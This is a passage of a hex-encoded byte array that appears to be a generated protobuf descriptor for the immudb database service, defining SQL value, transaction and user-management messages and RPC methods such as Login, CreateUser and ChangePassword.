0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbb, 0x36, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x92, 0x01, 0x0a, 0x13, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1e, 0x3a, 0x01, 0x2a, 0x22, 0x19, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x73, 0x71, 0x6c, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 